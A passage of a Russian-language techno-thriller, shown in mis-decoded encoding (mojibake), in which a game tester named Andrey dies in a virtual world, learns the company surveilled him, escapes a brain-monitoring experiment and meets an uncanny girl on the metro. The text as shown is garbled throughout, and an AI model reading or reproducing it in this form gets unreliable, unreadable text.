íåö çàêîí÷èëîñü, è îí îêàçàëñÿ â âîäå. Ðàáîòàÿ ðóêàìè è íîãàìè, Àíäðåé
ðèíóëñÿ ê ïîâåðõíîñòè è òîëüêî êîãäà âñïëûë, ñìîã ïåðåâåñòè äûõàíèå.
Íåáî íàä ãîëîâîé áûëî ñåðîå, ñãóùàëèñü òó÷è, âñå ãîâîðèëî î òîì, ÷òî
ñêîðî íà÷íåòñÿ ãðîçà. Äàæå íåáîëüøîãî øòîðìà äîñòàòî÷íî, ÷òîáû âîë-
íû çàòÿíóëè åãî íà äíî. Íî, îãëÿíóâøèñü, Àíäðåé çàìåòèë î÷åðòàíèÿ îñò-
ðîâà. Íóæíî áûëî ïîòîðîïèòüñÿ.

Àíäðåé õîðîøî ïëàâàë. Êîãäà-òî äàâíî îíè ÷àñòî åçäèëè ñ ðîäèòåëÿìè
íà ìîðå, ãäå îòåö íàó÷èë åãî äåðæàòüñÿ â âîäå è íå áîÿòüñÿ óòîíóòü. Ïî-
ýòîìó ñåé÷àñ îí áîÿëñÿ íå ãëóáèíû, à øòîðìà, ïðîòèâ êîòîðîãî íå óñòî-
èò äàæå ñàìûé îïûòíûé ïëîâåö. ×åì áëèæå ñòàíîâèëñÿ îñòðîâ, òåì
áîëüøå ñãóùàëèñü òó÷è. Êîãäà äî ñóøè îñòàâàëîñü íå áîëüøå êèëîìåò-
ðà, õëûíóë äîæäü. Âîëíû ïîäõâàòèëè åãî, ïåðåäàâàÿ äðóã äðóãó, è ïî-
íåñëè íà ñêàëû. Êîãäà î÷åðåäíàÿ âîëíà íàêðûëà åãî ñ ãîëîâîé, Àíäðåé
óæå ïîëíîñòüþ âûáèëñÿ èç ñèë.
Îí ïðèøåë â ñåáÿ óæå íà áåðåãó. Øòîðì çàêîí÷èëñÿ, íà ìîðå îáðàçîâàë-
ñÿ ïîëíûé øòèëü.
� Òû Àíäðåé, äà?
Ñâåòëîâîëîñàÿ äåâî÷êà ëåò âîñüìè, íà êîòîðîé èç îäåæäû áûëè òîëüêî
ïàëüìîâûå ëèñòüÿ ó ïîÿñà, ñ ëþáîïûòñòâîì ñìîòðåëà íà íåãî.
� Àíäðåé, � óäèâèëñÿ îí.
� À ÿ òåáÿ çíàþ!
� Îòêóäà?
� À òû ñìåøíîé, � ñêàçàëà äåâî÷êà è çâîíêî çàñìåÿëàñü
� ß � Êðèñòè � ïðåäñòàâèëàñü îíà, � À ýòî Ëèêà.
Òîëüêî ñåé÷àñ Àíäðåé îáðàòèë âíèìàíèå, ÷òî çà õóäåíüêîé íîæêîé äåâî÷-
êè ïðÿ÷åòñÿ áóðóíäóê.
� Ëèêà, ýòî Àíäðåé! � áóðóíäó÷îê âûñóíóë ìîðäî÷êó, ïðèíþõàëñÿ è ñíî-
âà ñïðÿòàëñÿ çà õîçÿéêó.
� Îí áîèòñÿ, ÷òî òû çàáåðåøü åãî îáðàòíî. Íî òû âåäü áóäåøü, ïðàâäà?
� ß íå ïîíèìàþ, î ÷åì òû.
� È íå íóæíî ïîíèìàòü. Ãëàâíîå, ñëóøàéñÿ ìåíÿ. Îáÿçàòåëüíî. Ëàäíî,
ìíå ïîðà! Äî âñòðå÷è!
Ïðåæäå ÷åì Àíäðåé êðèêíóë «ïîäîæäè!», äåâî÷êà óæå ñêðûëàñü â âûñòó-
ïàþùåé ê áåðåãó ÷àùå ëåñà.
Àíäðåé îòïðàâèëñÿ ñëåäîì çà íåé. Ìîæåò áûòü, îíà èç ìåñòíîãî ïëå-
ìåíè. Áóäåò ëó÷øå îòûñêàòü ýòî ïëåìÿ, ÷åì áðîäèòü â îäèíî÷åñòâå
ïî äæóíãëÿì. À äæóíãëè êðóãîì áûëè ñàìûå íàñòîÿùèå. Ãóñòûå êóñ-
òàðíèêè è âûñî÷åííûå äåðåâüÿ ñî ñâèñàþùèìè ëèàíàìè, ñòðåêîò
ïòèö è âèçã îáåçüÿí, áóéíîå ðàçíîîáðàçèå çàïàõîâ� Âûëîìàâ ñ äå-
ðåâà âåòêó, îí ñìàñòåðèë èç íåå ïðèìèòèâíóþ äóáèíêó è îòïðàâèëñÿ
äàëüøå. ×åì áîëüøå îí îòõîäèë îò áåðåãà, òåì áîëüøå ñãóùàëèñü
äåðåâüÿ. Êîãäà Àíäðåé óæå õîòåë ïîâîðà÷èâàòü îáðàòíî, îí âäðóã
óñëûøàë ëþäñêèå ãîëîñà. Ïðèáàâèâ øàãó, îí âñêîðå óâèäåë ïðîñâåò
÷åðåç äåðåâüÿ. Ãîëîñà áûëè ñîâñåì ðÿäîì. Âäðóã çåìëÿ ïîä íîãàìè
Àíäðåÿ ïðîâàëèëàñü, è îí ñíîâà ïîëåòåë âíèç. Íî íà ýòîò ðàç ïîâåç-
ëî ìåíüøå. Íà äíå êàïêàíà åãî âñòðåòèëè çàòî÷åííûå êîëüÿ, íàñê-
âîçü ïðîíçèâøèå òåëî. Ïåðåä òåì êàê ñíîâà îêóíóòüñÿ âî ìðàê, Àíä-
ðåé óâèäåë ðÿäîì ñ ñîáîé ÷åëîâå÷åñêèé ñêåëåò, â íååñòåñòâåííîé
ïîçå çàñòûâøèé ìåæäó êîëüåâ.
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* * *

Àíäðåé ñíÿë î÷êè è óâèäåë ðÿäîì Îëåãà Íèêîëàåâè÷à.
� Íå ïîâåçëî, äà? Ïî ãëàçàì âèæó. Ëþäåé, êîòîðûå òîëüêî ÷òî ïåðåæè-
ëè ñìåðòü â Ìåçå, ìîæíî âû÷èñëèòü çàïðîñòî. ß ñàì íå ñðàçó îòõîæó,
êîãäà ÷òî-òî ñëó÷àåòñÿ. À ñëó÷àåòñÿ ÷àñòî. Íàøè ñòðàõè ãåíåðèðóþò ñþ-
æåò òàê, ÷òî î÷åíü ðåäêî óäàåòñÿ èçáåæàòü ïå÷àëüíîãî êîíöà. Êñòàòè, êà-
êèì îí áûë ó òåáÿ íà ýòîò ðàç?
� Êàïêàí íà îñòðîâå.
� Ëþáîïûòíî. Ìîæåò, ýòî ïîìîæåò òåáå èçáåæàòü ãèáåëè, åñëè òû
äåéñòâèòåëüíî îêàæåøüñÿ íà îñòðîâå. Ïî êðàéíåé ìåðå, áóäåøü ñìîò-
ðåòü ïîä íîãè, � çàñìåÿëñÿ ìóæ÷èíà.
� Ïî÷åìó ÿ çäåñü? È êàêîãî ÷åðòà âû ñëåäèëè çà ìíîé?
� Ñëåäèë çà òîáîé? Ñ ÷åãî òû âçÿë?
Àíäðåé êèâíóë â ñòîðîíó øêàôà.
� À, ýòî? Òû äîëæåí íàñ ïîíÿòü, Àíäðåé. Ïðîåêò ñåðüåçíûé, íàì íóæíû
ëþäè, êîòîðûì ìû äîâåðÿåì. À êàê ìû ìîæåì äîâåðÿòü ÷åëîâåêó, åñëè
åãî íå çíàåì?
� Âû ïîíèìàåòå, ÷òî ñëåæêà è ïîäñëóøèâàíèå � óãîëîâíî íàêàçóåìû?
� Äà ëàäíî òåáå. ß íàäåþñü, òû íå áóäåøü çà÷èòûâàòü ìíå ïðàâà? Âñå
ýòî äåëàåòñÿ äëÿ òâîåãî æå áëàãà.
� Íó êîíå÷íî. Òàê ÷òî âû îò ìåíÿ õîòèòå?
Îëåã Íèêîëàåâè÷ äîñòàë èç êàðìàíà ôîòîãðàôèþ è ïîêàçàë Àíäðåþ.
� Çíàåøü ýòîãî ïàðíÿ?
Åùå áû îí íå çíàë. Æîðêà!
� Íàâåðíîå, óæå â êóðñå, ÷òî ñ íèì ñëó÷èëîñü?
� À êàêîå ýòî îòíîøåíèå èìååò ê âàì?
� Ãåîðãèé ïðèíèìàë ó÷àñòèå â ðàáîòå íàä ïðîåêòîì.
� ×ÒÎ!?
Àíäðåé îøàðàøåíî ïîñìîòðåë íà ñîáåñåäíèêà.
� Çíàþ, äëÿ òåáÿ ýòî íåîæèäàííîñòü, íî ïî ïðàâèëàì êîíòðàêòà îí íå
èìåë ïðàâà ãîâîðèòü îá ýòîì ñ ïîñòîðîííèìè. Êñòàòè, èìåííî îí ïîðåêî-
ìåíäîâàë òåáÿ â òåñòåðû.
� À ÷òî.. â ñìûñëå, êåì îí ó âàñ ðàáîòàë?
� Ñåé÷àñ ýòî óæå íåâàæíî. Âàæíî òî, ÷òî êàêèì-òî îáðàçîì, íàõîäÿñü â
Ìåçå, òû âëèÿåøü íà ìèð âíå åå.
� Âû õîòèòå ñêàçàòü, ÷òî Æîðà ïîëó÷èë îæîã èç-çà ìåíÿ?
� À òû ñàì òàê íå ñ÷èòàåøü? Âñå ïðîèñõîäèëî íà ãëàçàõ åãî ìàòåðè. Îíà
çàÿâëÿåò, ÷òî îæîãè âçÿëèñü èç íèîòêóäà. È òû âåäü ïîìíèøü, ÷òî ïðîèñ-
õîäèëî â òîò ìîìåíò ñ òîáîé.
� À âû îòêóäà çíàåòå, ÷òî ïðîèñõîäèëî?
� Ìû íàáëþäàåì çà âñåìè èãðîâûìè ïðîöåññàìè íàøèõ òåñòåðîâ. Ýòî
ïðîïèñàíî â êîíòðàêòå, êîòîðûé òû ïîäïèñûâàë.

� Íî êàê ýòî âîçìîæíî� âëèÿòü íà ðåàëüíóþ æèçíü èç èãðû? Áðåä êàêîé-òî.
� Ýòî íàì è ïðåäñòîèò âûÿñíèòü. Ïîéäåì.

* * *

Îíè øëè ïî êîðèäîðó âäîëü êàáèíåòîâ. Äðóãèå ñîòðóäíèêè, ïðîõîäèâøèå
ìèìî, ñ èíòåðåñîì ïîãëÿäûâàëè íà íåãî è âåæëèâî çäîðîâàëèñü. Ó Àíä-
ðåÿ áûëî ñòðàííîå ÷óâñòâî, ÷òî îíè çíàþò åãî óæå íå ïåðâûé ãîä.
� Êóäà ìû èäåì?
� Â íàøó Öåíòðàëüíóþ ëàáîðàòîðèþ. Ìû õîòèì ïðîâåñòè íåáîëüøîé òåñò.
� Òåñò?
� Íå áåñïîêîéñÿ, ýòî áåçáîëåçíåííî. È ñîâåðøåííî áåçîïàñíî.
Êîãäà îíè çàâåðíóëè çà óãîë, Àíäðåé îñòàíîâèëñÿ êàê âêîïàííûé. Ïðÿìî
ïåðåä íèì ñòîÿëà òà ñàìàÿ äåâî÷êà ñ îñòðîâà. Ïðàâäà, íà íåé áûëî îáû÷-
íîå ïëàòüå, äà è áóðóíäóêà ðÿäîì íå áûëî âèäíî. Íî ýòî áûëà îíà.
� Ïðèâåò, � òîëüêî è ìîã ïðîèçíåñòè Àíäðåé.
Äåâî÷êà íå îòâå÷àëà è ñìîòðåëà íà íåãî íå îòðûâàÿñü. ×òî-òî â ýòîì
âçãëÿäå áûëî ïóãàþùåå.
� Ýòî Àëåêñàíäðà, äî÷ü îäíîãî èç íàøèõ ñîòðóäíèêîâ. Ê ñîæàëåíèþ,
îíà íå ìîæåò ãîâîðèòü, íî âñå ðàâíî óìíèöà, ïðàâäà, Ñàøà?
Äåâî÷êà íå îáðàùàëà íà íåãî âíèìàíèÿ. Îíà ïðîòÿíóëà ðóêó, è Àíäðåé
ïîíÿë, ÷òî îíà õî÷åò åìó ÷òî-òî ïåðåäàòü. Îí äàë åé ëàäîíü, Àëåêñàíäðà
âëîæèëà â íåå çàïèñêó è òóò æå óáåæàëà.
� Îíà ó íàñ íåìíîæêî ñòðàííàÿ. Ðàç â íåäåëþ ïðèõîäèò ñþäà, òàê êàê ñî-
áèðàåòñÿ â áóäóùåì òîæå çàíèìàòüñÿ êîìïüþòåðíûìè èãðàìè. Ìû åé ðàç-
ðåøàåì íàáëþäàòü çà ðàáîòîé. ×òî îíà òåáå ïåðåäàëà?
Àíäðåé ðàñêðûë êëî÷îê áóìàæêè. Íà íåé äåòñêèì ïî÷åðêîì áûëî âûâåäåíî:
«Íå âåðü èì. Áåãè!».
� Ëþáîâíàÿ çàïèñêà? � ïîèíòåðåñîâàëñÿ Îëåã Íèêîëàåâè÷ è ïðèäâè-
íóëñÿ, ÷òîáû ïîñìîòðåòü. Àíäðåé ñìÿë áóìàæêó è ñóíóë åå â êàðìàí.
� Íè÷åãî èíòåðåñíîãî.
� Ëàäíî, ïîøëè òîãäà. Òåì áîëåå ÷òî ìû óæå ïî÷òè íà ìåñòå.

* * *

Â Öåíòðàëüíîé ëàáîðàòîðèè áîëüøóþ ÷àñòü ïîìåùåíèÿ çàíèìàëà çäîðî-
âåííàÿ ìàõèíà, íàïè÷êàííàÿ ðàçíîé ýëåêòðîíèêîé. Çà íåé ïðèñìàòðèâà-
ëî íåñêîëüêî ÷åëîâåê, åùå ïàðà ñîòðóäíèêîâ êîìïàíèè ñèäåëè çà ïîäê-
ëþ÷åííûìè òåðìèíàëàìè.
� Ýòó ìàøèíó ìû ñîîðóäèëè ñàìè. Äëÿ íàáëþäåíèÿ çà ôèçè÷åñêèìè è
ïñèõîëîãè÷åñêèìè ïîêàçàòåëÿìè èãðàþùèõ. Îñîáåííî íàñ èíòåðåñóåò
ìîçãîâàÿ àêòèâíîñòü.
� Âû ñîáèðàåòåñü ê ìîåìó ìîçãó ïîäêëþ÷èòü ýòî ÷óäîâèùå?
� Êàê ÿ óæå ñêàçàë, ïðîöåäóðà áåçáîëåçíåííàÿ. Òû áóäåøü íàõîäèòüñÿ
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â Ìåçå, ìû áóäåì çà òîáîé íàáëþäàòü. Òîëüêî òàêèì îáðàçîì ìîæíî óç-
íàòü, ÷òî ñëó÷èëîñü ñ òîáîé è òâîèì äðóãîì. ß ïîäîçðåâàþ, ÷òî åñòü êà-
êàÿ-òî àíîìàëèÿ�
� ß äóìàë, âû äîñòàòî÷íî íàáëþäàëè çà ìíîé è äðóãèìè ðåáÿòàìè.
� Ìû ïîëó÷àëè èíôîðìàöèþ î òâîèõ èãðîâûõ ïðîöåññàõ, íî ÷òî íà ñàìîì
äåëå òâîðèëîñü ó òåáÿ â ãîëîâå, äëÿ íàñ � çàãàäêà. Èìåííî ìîçã êîíñòðó-
èðóåò ìèð, ïðîãðàììà � ëèøü èíñòðóìåíò óïðàâëåíèÿ òâîèìè âèäåíèÿìè.
� Çíà÷èò, âñå, ÷òî ÿ âèæó, çàõîäÿ â èãðó, � ýòî ìîè ãàëëþöèíàöèè?
� Íó, ìîæíî è òàê ñêàçàòü. Íî ÿ áû ïðåäïî÷åë ñëîâî «ôàíòàçèè».
� À êàê âû êîíòðîëèðóåòå ýòè ôàíòàçèè?
� Íèêàê. Òû ñàì èõ êîíòðîëèðóåøü. Ïîýòîìó ìèð Ìåçû äëÿ êàæäîãî ñâîé.
� Íî îæîãè� ýòî âåäü íå ôàíòàçèè?
� Íåò. Ïîýòîìó òû çäåñü.
Ê íèì ïðèáëèçèëñÿ ïîæèëîé ìóæ÷èíà â íåëåïî ñèäÿùåì êîñòþìå è òîëñ-
òåííûõ î÷êàõ � òèïè÷íûé ÷îêíóòûé ó÷åíûé.
� Îëåã Íèêîëàåâè÷, âñå ãîòîâî. Ïðîøó.
Îíè ïîäîøëè ê ìàøèíå. Ñáîêó íàõîäèëîñü èãðîâîå êðåñëî ñ ïðèñîåäè-
íåííûì øëåìîì âèðòóàëüíîé ðåàëüíîñòè.
� Ïðèñàæèâàéòåñü, � ïðåäëîæèë ó÷åíûé.
Àíäðåé, íå äâèãàÿñü, ñìîòðåë íà íåïîíÿòíóþ ìàøèíó.
� Äàâàé, Àíäðåé. Ïîìíè, ìû òóò äëÿ òîãî, ÷òîáû íàéòè îòâåòû íà âîïðî-
ñû, êîòîðûå íàñ îáîèõ áåñïîêîÿò.
Â èòîãå Àíäðåé ðåøèëñÿ è óñòðîèëñÿ â êðåñëå. Ñåäîé ïðîôåññîð íàäåë íà
åãî ãîëîâó êàðêàñ, ñ òîð÷àùèìè èç íåãî ïðîâîäêàìè. Ìåòàëëè÷åñêèå
øòûðüêè ñäàâèëè êîæó è âûçâàëè íåïðèÿòíîå ÷óâñòâî. Ó÷åíûé îäåë íà
åãî íîãè áðàñëåòû ñ òàêèìè æå ïðîâîäàìè è ñòàë ïîäêëþ÷àòü áðàñëåòû ê
ðóêàì. Àíäðåé îùóòèë ñåáÿ ñìåðòíèêîì, êîòîðîãî âîò-âîò äîëæíû ïîäæà-
ðèòü íà ýëåêòðè÷åñêîì ñòóëå. Âñå âîêðóã êàçàëîñü îäíîé èç ôàíòàçèé Ìå-
çû. Åñëè îíè ñ íèì ÷òî-òî ñäåëàþò, òî îí óæå íå ñìîæåò î÷íóòüñÿ.
Îí ïîñìîòðåë íà Îëåãà Íèêîëàåâè÷à è óëîâèë ÷òî-òî íåõîðîøåå â åãî
âçãëÿäå. Òàê ñìîòðÿò íà îñó, êîòîðàÿ ìó÷àåòñÿ â àãîíèè ïîñëå òîãî, êàê òå-
áÿ óæàëèëà. Îíà óìèðàåò, íî òåáå åå íèñêîëüêî íå æàëü. Òû èñïûòûâàåøü
óäîâëåòâîðåíèå îò åå àãîíèé.
Îí øåâåëüíóë ðóêîé è íàùóïàë â êàðìàíå ñìÿòóþ çàïèñêó. «Íå âåðü èì.
Áåãè!». Ãëóïî áûëî âåðèòü íåìîé 8-ëåòíåé äåâî÷êå. Îí âñïîìíèë åå æå
ñëîâà íà îñòðîâå: «Ñëóøàéñÿ ìåíÿ. Îáÿçàòåëüíî». Âñå ýòî áûëî î÷åíü
ñòðàííî. Åìó ñêàçàëè, ÷òî Ìåçà � ýòî ôàíòàçèè. Íî êàê îí ìîã íàôàíòà-
çèðîâàòü äåâî÷êó, êîòîðóþ âïåðâûå âñòðåòèë òîëüêî íåêîòîðîå âðåìÿ
ñïóñòÿ? Ïðè÷åì ñ ïîðàçèòåëüíîé òî÷íîñòüþ.
� ß íå áóäó ýòîãî äåëàòü!
Ó÷åíûé, óæå ïîäêëþ÷èâøèé ê ðóêå îäèí èç áðàñëåòîâ, ñ óäèâëåíèåì ïîñ-
ìîòðåë íà íåãî.
� Âûïóñòèòå ìåíÿ. ß íå áóäó ïðèíèìàòü ó÷àñòèÿ â âàøèõ ýêñïåðèìåíòàõ!
� êðèêíóë Àíäðåé è ñòàë ñðûâàòü ñ ñåáÿ ïðîâîäà.
� Áóäåøü, êóäà òû äåíåøüñÿ, � èçìåíèâøèìñÿ ãîëîñîì îòâåòèë Îëåã
Íèêîëàåâè÷. Îí êèâíóë ñîòðóäíèêàì, è òå áðîñèëèñü ê Àíäðåþ. Íà ðàç-
ìûøëåíèÿ âðåìåíè íå îñòàâàëîñü. Ñîðâàâ ñ ãîëîâû êàðêàñ, Àíäðåé óêëî-
íèëñÿ îò îäíîãî èç íàïàäàþùèõ è áðîñèëñÿ ê äâåðè. Â êîðèäîðå åìó
íàâñòðå÷ó êèíóëñÿ åùå îäèí ÷åëîâåê, íî Àíäðåé îêàçàëñÿ ïðîâîðíåå.
� Äåðæèòå åãî! � óñëûøàë îí êðèê ñçàäè ñåáÿ, è ÷òî åñòü ìî÷è êèíóëñÿ áå-
æàòü ïî êîðèäîðó. Îäíà èç äâåðåé çà ïîâîðîòîì áûëà ïðèîòêðûòà � âîç-
ìîæíî, ýòî áûë åäèíñòâåííûé øàíñ. Îí çàáåæàë â êàáèíåò è çàõëîïíóë çà
ñîáîé äâåðü, ïðèñëîíèâøèñü ê íåé è ïåðåâîäÿ äóõ. Êàáèíåò áûë ïóñò.
� Îí â îäíîì èç êàáèíåòîâ, � óñëûøàë Àíäðåé ãîëîñ Îëåãà Íèêîëàåâè-
÷à. Ïðîâåðüòå âñå ïîìåùåíèÿ íà ýòîì ýòàæå.
Íóæíî áûëî ñðî÷íî ÷òî-òî ïðåäïðèíÿòü. Äâåðü ìîãëà çàäåðæàòü èõ íåíà-
äîëãî. Àíäðåé ïîäîøåë ê îêíó è ïîñìîòðåë âíèç. Âòîðîé ýòàæ. Åñëè ïî-
âèñíóòü, äåðæàñü çà ÷òî-òî, ìîæíî ñìÿã÷èòü ïðûæîê.
Àíäðåé ñíÿë ôóòáîëêó, ñêðóòèë åå â êàíàò è, îñíîâàòåëüíî îáâÿçàâ îäèí êî-
íåö âîêðóã îêîííîãî âûñòóïà, âçÿâøèñü çà äðóãîé, îñòîðîæíî ïåðåâåñèëñÿ
÷åðåç êðàé. Ìûñëåííî ïî÷èòàâ äî òðåõ, îí îòïóñòèë ðóêè è ðóõíóë âíèç.

* * *

Çàñêî÷èâ â ìàãàçèí «Ñýêîíä Õåíä», êîòîðûé îêàçàëñÿ ïî ïóòè, Àíäðåé êó-
ïèë íîâóþ ôóòáîëêó è îòïðàâèëñÿ ê ìåòðî. Åäèíñòâåííûì ÷åëîâåêîì, êî-
òîðûé ìîã äàòü îòâåòû íà åãî âîïðîñû, áûë òåïåðü Æîðèê. Îíè ñòîëüêî
ëåò äðóæèëè, íî îêàçàëîñü, ÷òî Àíäðåé ñîâñåì åãî íå çíàë. Çà÷åì îí âñå
ýòî âðåìÿ âðàë? ×åì çàíèìàëñÿ âî ÂÐÈ? È ÷òî ñ íèì ñëó÷èëîñü íà ñàìîì
äåëå? Ýòî è ïðåäñòîÿëî âûÿñíèòü. Ïîçâîíèâ äîìîé äðóãó, Àíäðåé óçíàë ó
ñåñòðû, â êàêóþ áîëüíèöó åãî îòâåçëè. Ïîòîì ñïóñòèëñÿ ïî ýñêàëàòîðó è
ñåë íà íóæíûé ïîåçä.
Àíäðåé âñïîìíèë, êàê ïåðâûé ðàç ïîçíàêîìèëñÿ ñ Æîðîé. Ýòî áûëî ëåò 6
íàçàä. Àíäðåé áûë ãèëüäìàñòåðîì îäíîé èç êðóïíåéøèõ ðóññêèõ ãèëüäèé
Lineage 2, Æîðêà � íåîïûòíûì íóáîì, ïîïðîñèâøèìñÿ â ãèëüäó. Íå
ïðîøëî è ãîäà, êàê ñòàë ñèëüíåéøèì ìàãîì íà ñåðâåðå è îôèöåðîì â
Burning Force. Ïîòîì îíè âìåñòå ïåðåøëè íà World of Warcraft, âäâîåì

ïðîêà÷èâàëè ïåðñîíàæåé, èõ íîâàÿ ãèëüäèÿ ïåðâîé íà ñåðâåðå óáèëà
Ðàãíàðîñà � ñàìîãî ñëîæíîãî áîññà â èãðå. Âïåðâûå â ðåàëå îíè âñòðå-
òèëèñü ÷åðåç 4 ãîäà. Àíäðåé øåë íà ýòó âñòðå÷ó, êàê íà ïåðâîå ñâèäàíèå.
Îí óæå äàâíî ñ÷èòàë Æîðêó ñâîèì äðóãîì, íî îäíî äåëî îáùàòüñÿ â âèð-
òóàëüíûõ ìèðàõ, äðóãîå � ðàçãîâàðèâàòü ñ ðåàëüíûì ñîáåñåäíèêîì.
Âäðóã èì áóäåò íå î ÷åì ãîâîðèòü? Ïðè ìûñëè îá ýòîì ó Àíäðåÿ íà÷àëñÿ
ìàíäðàæ. Íî íåëîâêàÿ ïàóçà ïðè âñòðå÷å ïðîäëèëàñü äî ïåðâîé çàòðîíó-
òîé òåìû îá èãðàõ. Ïîñëå ýòîãî ãîðÿ÷èå ñïîðû è îáñóæäåíèÿ íå ïðåêðà-
ùàëèñü íè íà ìèíóòó. Òàê êàê îíëàéíîâûå ìèðû áûëè åäèíñòâåííûì, ÷òî
èõ ñâÿçûâàëî, òî è ãîâîðèòü îíè ìîãëè òîëüêî îá ýòîì. Àíäðåé è Æîðà íè-
êîãäà íå îáñóæäàëè äåâóøåê, ôèëüìû, êíèãè. Íè÷òî ýòî èõ, ïî áîëüøîìó
ñ÷åòó, íå èíòåðåñîâàëî. Äàæå êîãäà Æîðà ïðèãëàñèë åãî íà äåíü ðîæäå-
íèÿ, îíè âåñü âå÷åð îáñóæäàëè ñòðàòåãèè PVP è îñîáåííîñòè êëàññîâ â
World of Warcraft.
Àíäðåé îòâëåêñÿ îò ìûñëåé î ïðîøëîì è ñòàë ðàçãëÿäûâàòü ëþäåé â âà-
ãîíå. Èíòåðåñíî, íðàâèòñÿ ëè èì èõ æèçíü? Íàïðèìåð, ýòîé ìðà÷íîé òå-
òåíüêå, ïðèæèìàþùåé ê êîëåíÿì ñóìî÷êó è óñòàëî ãëÿäÿùåé â ïîë. Èëè
ïàðåíüêó â êåïêå, òåìíûõ î÷êàõ è ñ ïëååðîì â óøàõ. Òåì äåâèöàì, ïîãëÿ-
äûâàþùèì íà íåãî è î ÷åì-òî ñî ñìåõîì ïåðåøåïòûâàþùèìñÿ. È ñìîã-
ëè áû îíè âåðíóòüñÿ â ðåàë, åñëè áû ïîçíàëè âñå ïðåëåñòè âèðòóàëüíîé
æèçíè? Àíäðåé ñîìíåâàëñÿ, ÷òî îíè âîîáùå ñïîñîáíû èõ ïîçíàòü.
È ñíîâà ïîÿâèëîñü ýòî ÷óâñòâî� êàê áóäòî çà òîáîé ñëåäÿò. Áóêâàëüíî
ïðîñâåðëèâàþò ñïèíó âçãëÿäîì. Àíäðåé îáåðíóëñÿ è îò èçóìëåíèÿ îòê-
ðûë ðîò. Íà äðóãîì êîíöå âàãîíà ñòîÿëà îíà. Îí íå çíàë, êàê åå íàçûâàòü.
Àëåêñàíäðà èëè Êðèñòè? Íî ýòî áûëà òà ñàìàÿ äåâî÷êà ñ îñòðîâà, êîòî-
ðàÿ ïîçæå ïåðåäàëà åìó çàïèñêó. Îíà ñìîòðåëà íà íåãî íå îòðûâàÿñü, ñ
àáñîëþòíî íè÷åãî íå âûðàæàþùèì ëèöîì.
Àíäðåé ñëîâíî î÷íóëñÿ è ïðèíÿëñÿ ïðîáèðàòüñÿ ê íåé, ñòàðàÿñü íå óïóñ-
òèòü èç âèäó. Íî â ýòîò ìîìåíò ïîåçä îñòàíîâèëñÿ íà î÷åðåäíîé ñòàíöèè
è ïîòîê ëþäåé ñìåøàëñÿ. Åãî îòîäâèíóëè îáðàòíî â ñåðåäèíó âàãîíà, è îí
òîëüêî óñïåë êðàåì ãëàçà çàìåòèòü, êàê äåâî÷êà âûøëà. Ïîåçä ñíîâà äâè-
íóëñÿ äàëüøå è ÷åðåç îêíî îí óâèäåë, êàê îíà ñòîèò è ñìîòðèò åìó âñëåä.
Âñå ýòî áûëî ïîõîæå íà äóðíîé ñîí èëè ÿïîíñêèé ôèëüì óæàñîâ:  òàì òî-
æå äåâî÷êè ïîÿâëÿþòñÿ èç íèîòêóäà è óõîäÿò â íèêóäà. È ñìîòðÿò, ïðîíè-
çûâàÿ òåáÿ âçãëÿäîì íàñêâîçü.
Àíäðåé åùå ðàç îñìîòðåë ëþäåé â âàãîíå. Íè÷åãî ïîäîçðèòåëüíîãî: çíà-
êîìûõ ëèö áîëüøå íå áûëî, è íèêòî íà íåãî íå îáðàùàë âíèìàíèÿ.
Âíåçàïíî ñâåò â âàãîíå ïîãàñ.
Àíäðåé óñëûøàë, êàê ïîåçä ðåçêî ñòàë òîðìîçèòü è, íàêîíåö, îñòàíîâèë-
ñÿ. Ïîðàçèòåëüíåå âñåãî áûëî òî, ÷òî íèêòî âîêðóã íå èçäàë íè çâóêà. Âà-
ãîí, ïîëíûé ëþäåé è ïîãðóæåííûé âî ìðàê, ìîë÷àë. Íè ïàíèêè, íè êðè-
êîâ, íè ïðåäïîëîæåíèé î òîì, ÷òî ñëó÷èëîñü. Íè÷åãî. Îí ñëûøàë, êàê â
ýòîì äüÿâîëüñêîì áåçìîëâèè ãðîìêî ñòó÷èò åãî ñåðäöå. Ëþäè, êîòîðûå
åùå íåäàâíî áûëè ëþäüìè, ïðåâðàòèëèñü â áåçæèçíåííûõ ìàíåêåíîâ. È
îí íå ìîã äàæå ðàññìîòðåòü èõ.
Àíäðåþ ñòàëî ñòðàøíî. Äåâî÷êó â ïîåçäå åùå ìîæíî áûëî îáúÿñíèòü.
Ìîæíî áûëî îáúÿñíèòü îñòàíîâêó ïîåçäà è âûêëþ÷åííûé ñâåò. Íî òàêî-
ãî íå áûâàåò, ÷òîáû â òàêèõ ñèòóàöèÿõ íèêòî íå ïðîðîíèë íè çâóêà.
Àíäðåé çàìåð, ñòàðàÿñü íå äûøàòü, è ïî÷óâñòâîâàë, êàê ïî ñïèíå ñòåêà-
åò êàïåëüêà õîëîäíîãî ïîòà.
×åðåç ñåêóíäó ðàçäàëñÿ òîë÷îê, è ïîåçä äâèíóëñÿ ñ ìåñòà. Â âàãîíå ïîÿ-
âèëñÿ ñâåò, è ëþäè ñíîâà ñòàëè æèâûìè ëþäüìè, îáùàÿñü êàê íè â ÷åì
íå áûâàëî. Êàê áóäòî íè÷åãî íå ïðîèçîøëî.
Êîãäà ïîåçä îñòàíîâèëñÿ ó ñòàíöèè, Àíäðåé âçäîõíóë ñ îáëåã÷åíèåì è âûñ-
êî÷èë íàðóæó. Ïî êðàéíåé ìåðå, íàâåðõó îí áóäåò â áîëüøåé áåçîïàñíîñ-
òè. Îí åùå ðàç îãëÿíóëñÿ íà ìèñòè÷åñêèé ïîåçä. Íî «ôèëüì óæàñîâ» åùå
íå çàêîí÷èëñÿ. ÂÑÅ ëþäè, íàõîäÿùèåñÿ â âàãîíå, ÑÌÎÒÐÅËÈ ÍÀ ÍÅÃÎ.

* * *

Àíäðåé ïîäíÿëñÿ ïî ýñêàëàòîðó è ñïðîñèë ó ïðîäàâùèöû ïèðîæêîâ, ãäå
íàõîäèòñÿ áîëüíèöà. ×åðåç êâàðòàë. Àíäðåé ïîíèìàë, ÷òî èäòè òóäà áûëî
îïàñíî, ëþäè èç ÂÐÈ ìîãëè åãî òàì ïîäæèäàòü. Íî äîìîé âîçâðàùàòüñÿ
áûëî åùå îïàñíåå, ê òîìó æå åìó íåîáõîäèìî áûëî ïîãîâîðèòü ñ äðóãîì.
Çàäóìàâøèñü, Àíäðåé íå çàìåòèë, êàê ýòà öûãàíêà âûñêî÷èëà ïðÿìî ïå-
ðåä íèì.
� Ïîçîëîòè ðó÷êó, êðàñèâûé. Ïðàâäó ñêàæó!
Àíäðåé îáîøåë åå, âñåì ñâîèì âèäîì ïîêàçûâàÿ, ÷òî åìó íåèíòåðåñíî.
